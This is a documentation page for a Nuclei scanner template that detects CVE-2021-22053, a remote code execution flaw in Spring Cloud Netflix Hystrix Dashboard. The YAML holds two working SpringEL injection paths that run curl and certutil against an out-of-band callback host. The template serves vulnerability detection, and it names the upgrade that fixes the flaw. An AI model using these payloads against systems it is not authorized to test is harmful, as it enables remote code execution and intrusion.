Skip to content
Nuclei Templates

Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution

ID: CVE-2021-22053

Severity: high

Author: forgedhallpass

Tags: cve,cve2021,rce,spring,vmware

Description

Section titled “Description”

Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10 is susceptible to remote code execution. Applications using both spring-cloud-netflix-hystrix-dashboard and spring-boot-starter-thymeleaf expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at /hystrix/monitor;[user-provided data], the path elements following hystrix/monitor are being evaluated as SpringEL expressions, which can lead to code execution.

YAML Source

Section titled “YAML Source”
id: CVE-2021-22053


info:
  name: Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution
  author: forgedhallpass
  severity: high
  description: |
    Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10 is susceptible to remote code execution. Applications using both `spring-cloud-netflix-hystrix-dashboard` and `spring-boot-starter-thymeleaf` expose a way to execute code submitted within the request URI path during the resolution of view templates.  When a request is made at `/hystrix/monitor;[user-provided data]`, the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions, which can lead to code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade to Spring Cloud Netflix Hystrix Dashboard version 2.2.10 or later to mitigate this vulnerability.
  reference:
    - https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053
    - https://tanzu.vmware.com/security/cve-2021-22053
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22053
    - https://github.com/trhacknon/Pocingit
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-22053
    cwe-id: CWE-94
    epss-score: 0.54052
    epss-percentile: 0.97624
    cpe: cpe:2.3:a:vmware:spring_cloud_netflix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: vmware
    product: spring_cloud_netflix
  tags: cve,cve2021,rce,spring,vmware


http:
  - method: GET
    path:
      - '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("curl http://{{interactsh-url}}")}__::.x/'
      - '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("certutil -urlcache -split -f http://{{interactsh-url}}")}__::.x/'


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: regex
        part: interactsh_request
        regex:
          - 'User-Agent: (curl|CertUtil)'
# digest: 4b0a00483046022100d6d0f8d47c80b50248285d090f9d1c35c1c6756dd6bbcf2a86698db092f27acc022100f2e723b48baba4cf196a7100cab8d8f295f062b106a7430ab1a6b97fdf2ed3b7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-22053.yaml"

View on Github